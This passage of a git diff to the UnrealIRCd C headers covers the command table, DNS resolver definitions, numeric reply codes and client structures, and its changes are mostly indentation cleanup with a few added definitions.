MAXPARA, 1, TOK_TIME, 0L}, + {MSG_OPER, m_oper, 0, MAXPARA, 1, TOK_OPER, 0L}, + {MSG_CONNECT, m_connect, 0, MAXPARA, 1, TOK_CONNECT, 0L}, + {MSG_VERSION, m_version, 0, MAXPARA, 1, TOK_VERSION, 0L}, + {MSG_STATS, m_stats, 0, MAXPARA, 1, TOK_STATS, 0L}, + {MSG_LINKS, m_links, 0, MAXPARA, 1, TOK_LINKS, 0L}, + {MSG_ADMIN, m_admin, 0, MAXPARA, 1, TOK_ADMIN, 0L}, + {MSG_USERS, m_users, 0, MAXPARA, 1, TOK_USERS, 0L}, + {MSG_SAMODE, m_samode, 0, MAXPARA, 1, TOK_SAMODE, 0L}, + {MSG_SVSKILL, m_svskill, 0, MAXPARA, 1, TOK_SVSKILL, 0L}, + {MSG_SVSNOOP, m_svsnoop, 0, MAXPARA, 1, TOK_SVSNOOP, 0L}, + {MSG_CS, m_chanserv, 0, 1, 1, TOK_CHANSERV, 0L}, + {MSG_NICKSERV, m_nickserv, 0, 1, 1, TOK_NICKSERV, 0L}, + {MSG_NS, m_nickserv, 0, 1, 1, TOK_NICKSERV, 0L}, + {MSG_OPERSERV, m_operserv, 0, 1, 1, TOK_OPERSERV, 0L}, + {MSG_OS, m_operserv, 0, 1, 1, TOK_OPERSERV, 0L}, + {MSG_MEMOSERV, m_memoserv, 0, 1, 1, TOK_MEMOSERV, 0L}, + {MSG_MS, m_memoserv, 0, 1, 1, TOK_MEMOSERV, 0L}, + {MSG_HELPSERV, m_helpserv, 0, 1, 1, TOK_HELPSERV, 0L}, + {MSG_HS, m_helpserv, 0, 1, 1, TOK_HELPSERV, 0L}, + {MSG_SERVICES, m_services, 0, 1, 1, TOK_SERVICES, 0L}, + {MSG_SUMMON, m_summon, 0, MAXPARA, 1, TOK_SUMMON, 0L}, + {MSG_HELP, m_help, 0, 1, 1, TOK_HELP, 0L}, + {MSG_HELPOP, m_help, 0, 1, 1, TOK_HELP, 0L}, + {MSG_INFO, m_info, 0, MAXPARA, 1, TOK_INFO, 0L}, + {MSG_MOTD, m_motd, 0, MAXPARA, 1, TOK_MOTD, 0L}, + {MSG_CLOSE, m_close, 0, MAXPARA, 1, TOK_CLOSE, 0L}, + {MSG_SILENCE, m_silence, 0, MAXPARA, 1, TOK_SILENCE, 0L}, + {MSG_AKILL, m_akill, 0, MAXPARA, 1, TOK_AKILL, 0L}, + {MSG_SQLINE, m_sqline, 0, MAXPARA, 1, TOK_SQLINE, 0L}, + {MSG_UNSQLINE, m_unsqline, 0, MAXPARA, 1, TOK_UNSQLINE, 0L}, + {MSG_KLINE, m_kline, 0, MAXPARA, 1, TOK_KLINE, 0L}, + {MSG_UNKLINE, m_unkline, 0, MAXPARA, 1, TOK_UNKLINE, 0L}, + {MSG_ZLINE, m_zline, 0, MAXPARA, 1, TOK_ZLINE, 0L}, + {MSG_UNZLINE, m_unzline, 0, MAXPARA, 1, TOK_UNZLINE, 0L}, + {MSG_RAKILL, m_rakill, 0, MAXPARA, 1, TOK_RAKILL, 0L}, + {MSG_GNOTICE, m_gnotice, 0, MAXPARA, 1, TOK_GNOTICE, 0L}, + {MSG_GOPER, m_goper, 0, MAXPARA, 1, TOK_GOPER, 0L}, + {MSG_GLOBOPS, m_globops, 0, MAXPARA, 1, TOK_GLOBOPS, 0L}, + {MSG_CHATOPS, m_chatops, 0, 1, 1, TOK_CHATOPS, 0L}, + {MSG_LOCOPS, m_locops, 0, 1, 1, TOK_LOCOPS, 0L}, + {MSG_HASH, m_hash, 0, MAXPARA, 1, TOK_HASH, 0L}, + {MSG_DNS, m_dns, 0, MAXPARA, 1, TOK_DNS, 0L}, + {MSG_REHASH, m_rehash, 0, MAXPARA, 1, TOK_REHASH, 0L}, + {MSG_RESTART, m_restart, 0, MAXPARA, 1, TOK_RESTART, 0L}, + {MSG_DIE, m_die, 0, MAXPARA, 1, TOK_DIE, 0L}, + {MSG_RULES, m_rules, 0, MAXPARA, 1, TOK_RULES, 0L}, + {MSG_MAP, m_map, 0, MAXPARA, 1, TOK_MAP, 0L}, + {MSG_GLINE, m_gline, 0, MAXPARA, 1, TOK_GLINE, 0L}, + {MSG_REMGLINE, m_remgline, 0, MAXPARA, 1, TOK_REMGLINE, 0L}, + {MSG_DALINFO, m_dalinfo, 0, MAXPARA, 1, TOK_DALINFO, 0L}, + {MSG_SVS2MODE, m_svs2mode, 0, MAXPARA, 1, TOK_SVS2MODE, 0L}, + {MSG_MKPASSWD, m_mkpasswd, 0, MAXPARA, 1, TOK_MKPASSWD, 0L}, + {MSG_ADDLINE, m_addline, 0, 1, 1, TOK_ADDLINE, 0L}, + {MSG_ADMINCHAT, m_admins, 0, 1, 1, TOK_ADMINCHAT, 0L}, + {MSG_SETHOST, m_sethost, 0, MAXPARA, 1, TOK_SETHOST, 0L}, + {MSG_TECHAT, m_techat, 0, 1, 1, TOK_TECHAT, 0L}, + {MSG_NACHAT, m_nachat, 0, 1, 1, TOK_NACHAT, 0L}, + {MSG_SETIDENT, m_setident, 0, MAXPARA, 1, TOK_SETIDENT, 0L}, + {MSG_SETNAME, m_setname, 0, 1, 1, TOK_SETNAME, 0L}, + {MSG_LAG, m_lag, 0, MAXPARA, 1, TOK_LAG, 0L}, + {MSG_SDESC, m_sdesc, 0, 1, 1, TOK_SDESC, 0L}, + {MSG_STATSERV, m_statserv, 0, 1, 1, TOK_STATSERV, 0L}, + {MSG_KNOCK, m_knock, 0, 2, 1, TOK_KNOCK, 0L}, + {MSG_CREDITS, m_credits, 0, MAXPARA, 1, TOK_CREDITS, 0L}, + {MSG_LICENSE, m_license, 0, MAXPARA, 1, TOK_LICENSE, 0L}, + {MSG_CHGHOST, m_chghost, 0, MAXPARA, 1, TOK_CHGHOST, 0L}, + {MSG_RPING, m_rping, 0, MAXPARA, 1, TOK_RPING, 0L}, + {MSG_RPONG, m_rpong, 0, MAXPARA, 1, TOK_RPONG, 0L}, + {MSG_NETINFO, m_netinfo, 0, MAXPARA, 1, TOK_NETINFO, 0L}, + {MSG_SENDUMODE, m_sendumode, 0, MAXPARA, 1, TOK_SENDUMODE, 0L}, + {MSG_SMO, m_sendumode, 0, MAXPARA, 1, TOK_SMO, 0L}, + {MSG_ADDMOTD, m_addmotd, 0, 1, 1, TOK_ADDMOTD, 0L}, + {MSG_ADDOMOTD, m_addomotd, 0, 1, 1, TOK_ADDOMOTD, 0L}, + {MSG_SVSMOTD, m_svsmotd, 0, MAXPARA, 1, TOK_SVSMOTD, 0L}, + {MSG_OPERMOTD, m_opermotd, 0, MAXPARA, 1, TOK_OPERMOTD, 0L}, + {MSG_TSCTL, m_tsctl, 0, MAXPARA, 1, TOK_TSCTL, 0L}, + {MSG_SVSJOIN, m_svsjoin, 0, MAXPARA, 1, TOK_SVSJOIN, 0L}, + {MSG_SAJOIN, m_sajoin, 0, MAXPARA, 1, TOK_SAJOIN, 0L}, + {MSG_SVSPART, m_svspart, 0, MAXPARA, 1, TOK_SVSPART, 0L}, + {MSG_SAPART, m_sapart, 0, MAXPARA, 1, TOK_SAPART, 0L}, + {MSG_CHGIDENT, m_chgident, 0, MAXPARA, 1, TOK_CHGIDENT, 0L}, + {MSG_SWHOIS, m_swhois, 0, MAXPARA, 1, TOK_SWHOIS, 0L}, + {MSG_SVSO, m_svso, 0, MAXPARA, 1, TOK_SVSO, 0L}, + {MSG_SVSFLINE, m_svsfline, 0, MAXPARA, 1, TOK_SVSFLINE, 0L}, + {MSG_TKL, m_tkl, 0, MAXPARA, 1, TOK_TKL, 0L}, + {MSG_VHOST, m_vhost, 0, MAXPARA, 1, TOK_VHOST, 0L}, + {MSG_BOTMOTD, m_botmotd, 0, MAXPARA, 1, TOK_BOTMOTD, 0L}, + {MSG_SJOIN, m_sjoin, 0, MAXPARA, 1, TOK_SJOIN, 0L}, + {MSG_HTM, m_htm, 0, MAXPARA, 1, TOK_HTM, 0L}, + {MSG_UMODE2, m_umode2, 0, MAXPARA, 1, TOK_UMODE2, 0L}, + {MSG_DCCDENY, m_dccdeny, 0, 2, 1, TOK_DCCDENY, 0L}, + {MSG_UNDCCDENY, m_undccdeny, 0, MAXPARA, 1, TOK_UNDCCDENY, 0L}, + {MSG_CHGNAME, m_chgname, 0, MAXPARA, 1, TOK_CHGNAME, 0L}, + {MSG_SVSNAME, m_chgname, 0, MAXPARA, 1, TOK_CHGNAME, 0L}, + {MSG_SHUN, m_shun, 0, MAXPARA, 1, TOK_SHUN, 0L}, +#ifdef CRYPTOIRCD + {MSG_CRYPTO, m_crypto, 0, MAXPARA, 1, TOK_CRYPTO, 0L}, +#endif + {MSG_NEWJOIN, m_join, 0, MAXPARA, 1, TOK_JOIN, 0L}, + {(char *)0, (int (*)())0, 0, 0, 0, 0, 0L} }; #else diff --git a/include/nameser.h b/include/nameser.h index 775dad77d..4ceea7a53 100644 --- a/include/nameser.h +++ b/include/nameser.h @@ -23,10 +23,10 @@ /* * Define constants based on rfc883 */ -#define PACKETSZ 512 /* maximum packet size */ -#define MAXDNAME 256 /* maximum domain name */ -#define MAXCDNAME 255 /* maximum compressed domain name */ -#define MAXLABEL 63 /* maximum length of domain label */ +#define PACKETSZ 512 /* maximum packet size */ +#define MAXDNAME 256 /* maximum domain name */ +#define MAXCDNAME 255 /* maximum compressed domain name */ +#define MAXLABEL 63 /* maximum length of domain label */ /* Number of bytes of fixed size data in query structure */ #define QFIXEDSZ 4 /* number of bytes of fixed size data in resource record */ @@ -40,94 +40,94 @@ /* * Currently defined opcodes */ -#define QUERY 0x0 /* standard query */ -#define IQUERY 0x1 /* inverse query */ -#define STATUS 0x2 /* nameserver status query */ +#define QUERY 0x0 /* standard query */ +#define IQUERY 0x1 /* inverse query */ +#define STATUS 0x2 /* nameserver status query */ /*#define xxx 0x3 /* 0x3 reserved */ /* non standard */ -#define UPDATEA 0x9 /* add resource record */ -#define UPDATED 0xa /* delete a specific resource record */ -#define UPDATEDA 0xb /* delete all nemed resource record */ -#define UPDATEM 0xc /* modify a specific resource record */ -#define UPDATEMA 0xd /* modify all named resource record */ +#define UPDATEA 0x9 /* add resource record */ +#define UPDATED 0xa /* delete a specific resource record */ +#define UPDATEDA 0xb /* delete all nemed resource record */ +#define UPDATEM 0xc /* modify a specific resource record */ +#define UPDATEMA 0xd /* modify all named resource record */ -#define ZONEINIT 0xe /* initial zone transfer */ -#define ZONEREF 0xf /* incremental zone referesh */ +#define ZONEINIT 0xe /* initial zone transfer */ +#define ZONEREF 0xf /* incremental zone referesh */ /* * Currently defined response codes */ -#ifdef NOERROR /* defined by solaris2 in */ -#undef NOERROR /* to be -1 */ +#ifdef NOERROR /* defined by solaris2 in */ +#undef NOERROR /* to be -1 */ #endif -#define NOERROR 0 /* no error */ -#define FORMERR 1 /* format error */ -#define SERVFAIL 2 /* server failure */ -#define NXDOMAIN 3 /* non existent domain */ -#define NOTIMP 4 /* not implemented */ -#define REFUSED 5 /* query refused */ +#define NOERROR 0 /* no error */ +#define FORMERR 1 /* format error */ +#define SERVFAIL 2 /* server failure */ +#define NXDOMAIN 3 /* non existent domain */ +#define NOTIMP 4 /* not implemented */ +#define REFUSED 5 /* query refused */ /* non standard */ -#define NOCHANGE 0xf /* update failed to change db */ +#define NOCHANGE 0xf /* update failed to change db */ /* * Type values for resources and queries */ -#define T_A 1 /* host address */ -#define T_NS 2 /* authoritative server */ -#define T_MD 3 /* mail destination */ -#define T_MF 4 /* mail forwarder */ -#define T_CNAME 5 /* connonical name */ -#define T_SOA 6 /* start of authority zone */ -#define T_MB 7 /* mailbox domain name */ -#define T_MG 8 /* mail group member */ -#define T_MR 9 /* mail rename name */ -#define T_NULL 10 /* null resource record */ -#define T_WKS 11 /* well known service */ -#define T_PTR 12 /* domain name pointer */ -#define T_HINFO 13 /* host information */ -#define T_MINFO 14 /* mailbox information */ -#define T_MX 15 /* mail routing information */ -#define T_TXT 16 /* text strings */ -#define T_RP 17 /* responsible person */ -#define T_AFSDB 18 /* AFS cell database */ -#define T_X25 19 /* X_25 calling address */ -#define T_ISDN 20 /* ISDN calling address */ -#define T_RT 21 /* router */ -#define T_NSAP 22 /* NSAP address */ -#define T_NSAP_PTR 23 /* reverse NSAP lookup (deprecated) */ -#define T_SIG 24 /* security signature */ -#define T_KEY 25 /* security key */ -#define T_PX 26 /* X.400 mail mapping */ -#define T_GPOS 27 /* geographical position (withdrawn) */ -#define T_AAAA 28 /* IP6 Address */ -#define T_LOC 29 /* Location Information */ -#define T_NXT 30 /* Next Valid Name in Zone */ -#define T_EID 31 /* Endpoint identifier */ -#define T_NIMLOC 32 /* Nimrod locator */ -#define T_SRV 33 /* Server selection */ -#define T_ATMA 34 /* ATM Address */ -#define T_NAPTR 35 /* Naming Authority PoinTeR */ +#define T_A 1 /* host address */ +#define T_NS 2 /* authoritative server */ +#define T_MD 3 /* mail destination */ +#define T_MF 4 /* mail forwarder */ +#define T_CNAME 5 /* connonical name */ +#define T_SOA 6 /* start of authority zone */ +#define T_MB 7 /* mailbox domain name */ +#define T_MG 8 /* mail group member */ +#define T_MR 9 /* mail rename name */ +#define T_NULL 10 /* null resource record */ +#define T_WKS 11 /* well known service */ +#define T_PTR 12 /* domain name pointer */ +#define T_HINFO 13 /* host information */ +#define T_MINFO 14 /* mailbox information */ +#define T_MX 15 /* mail routing information */ +#define T_TXT 16 /* text strings */ +#define T_RP 17 /* responsible person */ +#define T_AFSDB 18 /* AFS cell database */ +#define T_X25 19 /* X_25 calling address */ +#define T_ISDN 20 /* ISDN calling address */ +#define T_RT 21 /* router */ +#define T_NSAP 22 /* NSAP address */ +#define T_NSAP_PTR 23 /* reverse NSAP lookup (deprecated) */ +#define T_SIG 24 /* security signature */ +#define T_KEY 25 /* security key */ +#define T_PX 26 /* X.400 mail mapping */ +#define T_GPOS 27 /* geographical position (withdrawn) */ +#define T_AAAA 28 /* IP6 Address */ +#define T_LOC 29 /* Location Information */ +#define T_NXT 30 /* Next Valid Name in Zone */ +#define T_EID 31 /* Endpoint identifier */ +#define T_NIMLOC 32 /* Nimrod locator */ +#define T_SRV 33 /* Server selection */ +#define T_ATMA 34 /* ATM Address */ +#define T_NAPTR 35 /* Naming Authority PoinTeR */ /* non standard */ -#define T_UINFO 100 /* user (finger) information */ -#define T_UID 101 /* user ID */ -#define T_GID 102 /* group ID */ -#define T_UNSPEC 103 /* Unspecified format (binary data) */ +#define T_UINFO 100 /* user (finger) information */ +#define T_UID 101 /* user ID */ +#define T_GID 102 /* group ID */ +#define T_UNSPEC 103 /* Unspecified format (binary data) */ /* Query type values which do not appear in resource records */ -#define T_AXFR 252 /* transfer zone of authority */ -#define T_MAILB 253 /* transfer mailbox records */ -#define T_MAILA 254 /* transfer mail agent records */ -#define T_ANY 255 /* wildcard match */ +#define T_AXFR 252 /* transfer zone of authority */ +#define T_MAILB 253 /* transfer mailbox records */ +#define T_MAILA 254 /* transfer mail agent records */ +#define T_ANY 255 /* wildcard match */ /* * Values for class field */ -#define C_IN 1 /* the arpa internet */ -#define C_CHAOS 3 /* for chaos net at MIT */ -#define C_HS 4 /* for Hesiod name server at MIT */ +#define C_IN 1 /* the arpa internet */ +#define C_CHAOS 3 /* for chaos net at MIT */ +#define C_HS 4 /* for Hesiod name server at MIT */ /* Query class values which do not appear in resource records */ -#define C_ANY 255 /* wildcard match */ +#define C_ANY 255 /* wildcard match */ /* * Status return codes for T_UNSPEC conversion routines @@ -161,7 +161,7 @@ #ifndef BYTE_ORDER /* you must determine what the correct bit order is for your compiler */ - UNDEFINED_BIT_ORDER; +UNDEFINED_BIT_ORDER; #endif /* * Structure for query header, the order of the fields is machine and @@ -171,38 +171,38 @@ */ typedef struct { - u_short id; /* query identification number */ + u_short id; /* query identification number */ #if BYTE_ORDER == BIG_ENDIAN - /* fields in third byte */ - u_char qr:1; /* response flag */ - u_char opcode:4; /* purpose of message */ - u_char aa:1; /* authoritive answer */ - u_char tc:1; /* truncated message */ - u_char rd:1; /* recursion desired */ - /* fields in fourth byte */ - u_char ra:1; /* recursion available */ - u_char pr:1; /* primary server required (non standard) */ - u_char unused:2; /* unused bits */ - u_char rcode:4; /* response code */ + /* fields in third byte */ + u_char qr:1; /* response flag */ + u_char opcode:4; /* purpose of message */ + u_char aa:1; /* authoritive answer */ + u_char tc:1; /* truncated message */ + u_char rd:1; /* recursion desired */ + /* fields in fourth byte */ + u_char ra:1; /* recursion available */ + u_char pr:1; /* primary server required (non standard) */ + u_char unused:2; /* unused bits */ + u_char rcode:4; /* response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN - /* fields in third byte */ - u_char rd:1; /* recursion desired */ - u_char tc:1; /* truncated message */ - u_char aa:1; /* authoritive answer */ - u_char opcode:4; /* purpose of message */ - u_char qr:1; /* response flag */ - /* fields in fourth byte */ - u_char rcode:4; /* response code */ - u_char unused:2; /* unused bits */ - u_char pr:1; /* primary server required (non standard) */ - u_char ra:1; /* recursion available */ + /* fields in third byte */ + u_char rd:1; /* recursion desired */ + u_char tc:1; /* truncated message */ + u_char aa:1; /* authoritive answer */ + u_char opcode:4; /* purpose of message */ + u_char qr:1; /* response flag */ + /* fields in fourth byte */ + u_char rcode:4; /* response code */ + u_char unused:2; /* unused bits */ + u_char pr:1; /* primary server required (non standard) */ + u_char ra:1; /* recursion available */ #endif - /* remaining bytes */ - u_short qdcount; /* number of question entries */ - u_short ancount; /* number of answer entries */ - u_short nscount; /* number of authority entries */ - u_short arcount; /* number of resource entries */ + /* remaining bytes */ + u_short qdcount; /* number of question entries */ + u_short ancount; /* number of answer entries */ + u_short nscount; /* number of authority entries */ + u_short arcount; /* number of resource entries */ } HEADER; /* @@ -214,23 +214,23 @@ typedef struct { * Structure for passing resource records around. */ struct rrec { - short r_zone; /* zone number */ - short r_class; /* class number */ - short r_type; /* type number */ + short r_zone; /* zone number */ + short r_class; /* class number */ + short r_type; /* type number */ #ifdef __alpha - u_int r_ttl; /* time to live */ + u_int r_ttl; /* time to live */ #else - u_long r_ttl; /* time to live */ + u_long r_ttl; /* time to live */ #endif - int r_size; /* size of data area */ - char *r_data; /* pointer to data */ + int r_size; /* size of data area */ + char *r_data; /* pointer to data */ }; -extern u_short _getshort(); +extern u_short _getshort(); #ifdef __alpha -extern u_int _getlong(); +extern u_int _getlong(); #else -extern u_long _getlong(); +extern u_long _getlong(); #endif /* diff --git a/include/numeric.h b/include/numeric.h index 51f40105e..b0d95479f 100644 --- a/include/numeric.h +++ b/include/numeric.h @@ -143,7 +143,7 @@ #define RPL_WHOISREGNICK 307 #define RPL_RULESSTART 308 #define RPL_ENDOFRULES 309 -#define RPL_WHOISHELPOP 310 /* -Donwulff */ +#define RPL_WHOISHELPOP 310 /* -Donwulff */ #define RPL_WHOISUSER 311 #define RPL_WHOISSERVER 312 @@ -153,7 +153,7 @@ /* rpl_endofwho below (315) */ #define RPL_ENDOFWHOWAS 369 -#define RPL_WHOISCHANOP 316 /* redundant and not needed but reserved */ +#define RPL_WHOISCHANOP 316 /* redundant and not needed but reserved */ #define RPL_WHOISIDLE 317 #define RPL_ENDOFWHOIS 318 @@ -234,6 +234,8 @@ #define RPL_STATSLINKINFO 211 #define RPL_STATSCOMMANDS 212 #define RPL_STATSCLINE 213 +#define RPL_STATSOLDNLINE 214 + #define RPL_STATSILINE 215 #define RPL_STATSKLINE 216 #define RPL_STATSQLINE 217 @@ -248,6 +250,7 @@ #define RPL_STATSTLINE 224 #define RPL_STATSELINE 225 #define RPL_STATSNLINE 226 +#define RPL_STATSVLINE 227 #define RPL_SERVICEINFO 231 #define RPL_RULES 232 #define RPL_SERVICE 233 @@ -260,7 +263,7 @@ #define RPL_STATSHLINE 244 #define RPL_STATSSLINE 245 #define RPL_STATSXLINE 247 -#define RPL_STATSULINE 248 +#define RPL_STATSULINE 248 #define RPL_STATSDEBUG 249 #define RPL_STATSCONN 250 @@ -312,3 +315,5 @@ #define RPL_DUMPING 640 #define RPL_DUMPRPL 641 #define RPL_EODUMP 642 + +#define ERR_NUMERICERR 999 diff --git a/include/res.h b/include/res.h index c885ab9de..cb3bfeffd 100644 --- a/include/res.h +++ b/include/res.h @@ -17,54 +17,54 @@ #define AR_TTL 600 /* TTL in seconds for dns cache entries */ -struct hent { - char *h_name; /* official name of host */ - char *h_aliases[MAXALIASES]; /* alias list */ - int h_addrtype; /* host address type */ - int h_length; /* length of address */ +struct hent { + char *h_name; /* official name of host */ + char *h_aliases[MAXALIASES]; /* alias list */ + int h_addrtype; /* host address type */ + int h_length; /* length of address */ /* list of addresses from name server */ - struct IN_ADDR h_addr_list[MAXADDRS]; + struct IN_ADDR h_addr_list[MAXADDRS]; #define h_addr h_addr_list[0] /* address, for backward compatiblity */ }; -typedef struct reslist { - int id; - int sent; /* number of requests sent */ - int srch; - time_t ttl; - char type; - char retries; /* retry counter */ - char sends; /* number of sends (>1 means resent) */ - char resend; /* send flag. 0 == dont resend */ - time_t sentat; - time_t timeout; - struct IN_ADDR addr; - char *name; - struct reslist *next; - Link cinfo; +typedef struct reslist { + int id; + int sent; /* number of requests sent */ + int srch; + time_t ttl; + char type; + char retries; /* retry counter */ + char sends; /* number of sends (>1 means resent) */ + char resend; /* send flag. 0 == dont resend */ + time_t sentat; + time_t timeout; + struct IN_ADDR addr; + char *name; + struct reslist *next; + Link cinfo; #ifndef _WIN32 - struct hent he; + struct hent he; #else - struct hostent *he; - char locked; + struct hostent *he; + char locked; #endif - } ResRQ; +} ResRQ; -typedef struct cache { - time_t expireat; - time_t ttl; +typedef struct cache { + time_t expireat; + time_t ttl; #ifndef _WIN32 - struct hostent he; + struct hostent he; #else - struct hostent *he; + struct hostent *he; #endif - struct cache *hname_next, *hnum_next, *list_next; - } aCache; + struct cache *hname_next, *hnum_next, *list_next; +} aCache; -typedef struct cachetable { - aCache *num_list; - aCache *name_list; - } CacheTable; +typedef struct cachetable { + aCache *num_list; + aCache *name_list; +} CacheTable; #define ARES_CACSIZE 101 diff --git a/include/resolv.h b/include/resolv.h index ce3655f07..ee7040d42 100644 --- a/include/resolv.h +++ b/include/resolv.h @@ -33,25 +33,25 @@ /* * Global defines and variables for resolver stub. */ -#define MAXNS 3 /* max # name servers we'll track */ -#define MAXDFLSRCH 3 /* # default domain levels to try */ -#define MAXDNSRCH 6 /* max # domains in search path */ -#define LOCALDOMAINPARTS 2 /* min levels in name that is "local" */ -#define MAXSERVICES 2 /* max # of services to search */ +#define MAXNS 3 /* max # name servers we'll track */ +#define MAXDFLSRCH 3 /* # default domain levels to try */ +#define MAXDNSRCH 6 /* max # domains in search path */ +#define LOCALDOMAINPARTS 2 /* min levels in name that is "local" */ +#define MAXSERVICES 2 /* max # of services to search */ -#define RES_TIMEOUT 5 /* min. seconds between retries */ +#define RES_TIMEOUT 5 /* min. seconds between retries */ struct state { - int retrans; /* retransmition time interval */ - int retry; /* number of times to retransmit */ - long options; /* option flags - see below. */ - int nscount; /* number of name servers */ - struct SOCKADDR_IN nsaddr_list[MAXNS]; /* address of name server */ -#define nsaddr nsaddr_list[0] /* for backward compatibility */ - unsigned short id; /* current packet id */ - char defdname[MAXDNAME]; /* default domain */ - char *dnsrch[MAXDNSRCH+1]; /* components of domain to search */ - unsigned short order[MAXSERVICES+1]; /* search service order */ + int retrans; /* retransmition time interval */ + int retry; /* number of times to retransmit */ + long options; /* option flags - see below. */ + int nscount; /* number of name servers */ + struct SOCKADDR_IN nsaddr_list[MAXNS]; /* address of name server */ +#define nsaddr nsaddr_list[0] /* for backward compatibility */ + unsigned short id; /* current packet id */ + char defdname[MAXDNAME]; /* default domain */ + char *dnsrch[MAXDNSRCH + 1]; /* components of domain to search */ + unsigned short order[MAXSERVICES + 1]; /* search service order */ }; #define RES_SERVICE_NONE 0 @@ -61,19 +61,18 @@ struct state { /* * Resolver options */ -#define RES_INIT 0x0001 /* address initialized */ -#define RES_DEBUG 0x0002 /* print debug messages */ -#define RES_AAONLY 0x0004 /* authoritative answers only */ -#define RES_USEVC 0x0008 /* use virtual circuit */ -#define RES_PRIMARY 0x0010 /* query primary server only */ -#define RES_IGNTC 0x0020 /* ignore trucation errors */ -#define RES_RECURSE 0x0040 /* recursion desired */ -#define RES_DEFNAMES 0x0080 /* use default domain name */ -#define RES_STAYOPEN 0x0100 /* Keep TCP socket open */ -#define RES_DNSRCH 0x0200 /* search up local domain tree */ +#define RES_INIT 0x0001 /* address initialized */ +#define RES_DEBUG 0x0002 /* print debug messages */ +#define RES_AAONLY 0x0004 /* authoritative answers only */ +#define RES_USEVC 0x0008 /* use virtual circuit */ +#define RES_PRIMARY 0x0010 /* query primary server only */ +#define RES_IGNTC 0x0020 /* ignore trucation errors */ +#define RES_RECURSE 0x0040 /* recursion desired */ +#define RES_DEFNAMES 0x0080 /* use default domain name */ +#define RES_STAYOPEN 0x0100 /* Keep TCP socket open */ +#define RES_DNSRCH 0x0200 /* search up local domain tree */ #define RES_DEFAULT (RES_RECURSE | RES_DEFNAMES | RES_DNSRCH) extern struct state _res; extern char *p_cdname(), *p_rr(), *p_type(), *p_class(), *p_time(); - diff --git a/include/sjoin.h b/include/sjoin.h index 448f8ce8e..4667a6bbf 100644 --- a/include/sjoin.h +++ b/include/sjoin.h @@ -21,45 +21,31 @@ */ -typedef struct SynchList aSynchList; +typedef struct SynchList aSynchList; /* SJOIN synch structure */ struct SynchList { - char nick[NICKLEN]; - int deop; - int devoice; - int dehalf; - int deown; - int deprot; - int op; - int voice; - int half; - int own; - int prot; - aSynchList *next, *prev; + aClient *cptr; + long setflags; + aSynchList *next, *prev; }; aSynchList *SJSynchList = NULL; aSynchList *make_synchlist() { - Reg1 aSynchList *synchptr; + Reg1 aSynchList *synchptr; - synchptr = (aSynchList *) MyMalloc(sizeof(aSynchList)); + synchptr = (aSynchList *) MyMalloc(sizeof(aSynchList)); + synchptr->cptr = NULL; + synchptr->setflags = 0; + synchptr->prev = synchptr->next = NULL; - synchptr->nick[0] = 0; - synchptr->deop = synchptr->dehalf = synchptr->deown = synchptr->deprot = 0; - synchptr->devoice = 0; - synchptr->op = 0; - synchptr->voice = synchptr->half = synchptr->own = synchptr->prot = 0; - synchptr->prev = synchptr->next = NULL; - - return synchptr; + return synchptr; } void free_synchlist(synchptr) - aSynchList *synchptr; + aSynchList *synchptr; { - MyFree((char *) synchptr); + MyFree((char *)synchptr); } - diff --git a/include/sock.h b/include/sock.h index c7e3bdd3e..e09c8f8ed 100644 --- a/include/sock.h +++ b/include/sock.h @@ -1,3 +1,4 @@ + /************************************************************************ * Unreal Internet Relay Chat Daemon, include/sock.h * Copyright (C) 1990 Jarkko Oikarinen and @@ -22,6 +23,12 @@ * $Id$ * * $Log$ + * Revision 1.1.1.1.6.1.2.1 2000/07/14 20:22:57 stskeeps + * +- Indentation and more SJ3 fixes + * + * Revision 1.1.1.1.6.1 2000/05/28 08:55:24 cmunk + * Import of Unreal3.1-beta3 + * * Revision 1.2 2000/03/02 21:22:37 stskeeps * ........... * @@ -73,6 +80,5 @@ #endif #ifdef RCVTIMEO -#define SO_RCVTIMEO 0x1006 /* receive timeout */ +#define SO_RCVTIMEO 0x1006 /* receive timeout */ #endif - diff --git a/include/stamp.h b/include/stamp.h index 9cfd8cbfd..0458de116 100644 --- a/include/stamp.h +++ b/include/stamp.h @@ -1,4 +1,3 @@ /* Auto created release stamping */ -#define RELEASEID2 "959378517" +#define RELEASEID2 "961323751" #define RELEASESTUFF "draconic" - diff --git a/include/struct.h b/include/struct.h index c2ed8347b..69ee0b5eb 100644 --- a/include/struct.h +++ b/include/struct.h @@ -29,6 +29,9 @@ #include "hash.h" #include #include +#ifdef ZIP_LINKS +#include "zip.h" +#endif #ifndef _WIN32 #include #include @@ -43,59 +46,53 @@ # include # endif #endif +#ifdef CRYPTOIRCD +#include +#endif -typedef struct t_fline aFline; -typedef struct t_crline aCRline; -typedef struct t_vhline aVHline; -typedef struct t_kline aTKline; -typedef struct t_vhost aVhost; -typedef struct t_hush aHush; +typedef struct t_fline aFline; +typedef struct t_crline aCRline; +typedef struct t_vhline aVHline; +typedef struct t_kline aTKline; +typedef struct t_vhost aVhost; -typedef struct SqlineItem aSqlineItem; -typedef struct ConfItem aConfItem; -typedef struct Notify aNotify; -typedef struct Client aClient; -typedef struct Channel aChannel; -typedef struct User anUser; -typedef struct Server aServer; -typedef struct SLink Link; -typedef struct SBan Ban; -typedef struct SMode Mode; -typedef struct ListOptions LOpts; -typedef struct FloodOpt aFloodOpt; -typedef struct CloneItem aClone; -typedef struct ircstatsx ircstats; -typedef struct MotdItem aMotd; -typedef struct trecord aTrecord; +typedef struct SqlineItem aSqlineItem; +typedef struct ConfItem aConfItem; +typedef struct Notify aNotify; +typedef struct Client aClient; +typedef struct Channel aChannel; +typedef struct User anUser; +typedef struct Server aServer; +typedef struct SLink Link; +typedef struct SBan Ban; +typedef struct SMode Mode; +typedef struct ListOptions LOpts; +typedef struct FloodOpt aFloodOpt; +typedef struct ircstatsx ircstats; +typedef struct MotdItem aMotd; +typedef struct trecord aTrecord; #ifdef NEED_U_INT32_T -typedef unsigned int u_int32_t; /* XXX Hope this works! */ +typedef unsigned int u_int32_t; /* XXX Hope this works! */ #endif #ifndef VMSP #include "class.h" -#include "dbuf.h" /* THIS REALLY SHOULDN'T BE HERE!!! --msa */ +#include "dbuf.h" /* THIS REALLY SHOULDN'T BE HERE!!! --msa */ #endif #define HOSTLEN 63 /* Length of hostname. Updated to */ /* comply with RFC1123 */ -#define NICKLEN 30 /* Necessary to put 9 here instead of 10 - ** if s_msg.c/m_nick has been corrected. - ** This preserves compatibility with old - ** servers --msa - */ +#define NICKLEN 30 #define USERLEN 10 #define REALLEN 50 #define TOPICLEN 307 -/* 